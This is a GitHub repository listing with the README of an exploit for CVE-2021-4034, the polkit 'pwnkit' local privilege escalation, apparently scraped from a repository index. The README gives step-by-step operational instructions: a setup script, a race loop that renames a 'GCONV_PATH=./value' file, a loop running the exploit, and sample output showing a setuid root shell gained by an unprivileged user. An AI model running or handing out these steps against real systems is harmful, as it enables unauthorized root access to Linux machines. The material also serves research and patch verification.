https://github.com/Ayrx/CVE-2021-4034

Exploit for CVE-2021-4034
https://github.com/Ayrx/CVE-2021-4034

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Exploit for CVE-2021-4034

• Host: GitHub
• URL: https://github.com/Ayrx/CVE-2021-4034
• Owner: Ayrx
• Created: 2022-01-26T03:33:47.000Z (almost 3 years ago)
• Default Branch: master
• Last Pushed: 2022-01-27T11:57:05.000Z (almost 3 years ago)
• Last Synced: 2024-08-05T17:24:58.786Z (4 months ago)
• Language: C
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• Size: 3.91 KB
• Stars: 95
• Watchers: 6
• Forks: 14
• Open Issues: 0
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  • Readme: README.md

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README

        
# CVE-2021-4034

Exploit for the [pwnkit vulnerability](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)

from the Qualys team.

This exploit assumes that `gcc` is present on the target machine.

```

$ id

uid=1001(ayrx) gid=1002(ayrx) groups=1002(ayrx),27(sudo)

$ ./setup.sh

```

Run the following command in one bash session:

```

while :; do mv "GCONV_PATH=./value" "GCONV_PATH=./value.bak"; mv "GCONV_PATH=./value.bak" "GCONV_PATH=./value"; done

```

Run the following command in another bash session:

```

while :; do ./exploit; done

```

You will eventually win the race and obtain a `shell` binary that gives you

root access:

```

$ ls -lah shell

-rwsrwxrwx 1 root ayrx 16K Jan 26 08:57 shell

$ ./shell

# id

uid=0(root) gid=1002(ayrx) groups=1002(ayrx),27(sudo)

```

A short write up on the technique can be found on my [blog](https://www.ayrx.me/pwnkit-no-logs/).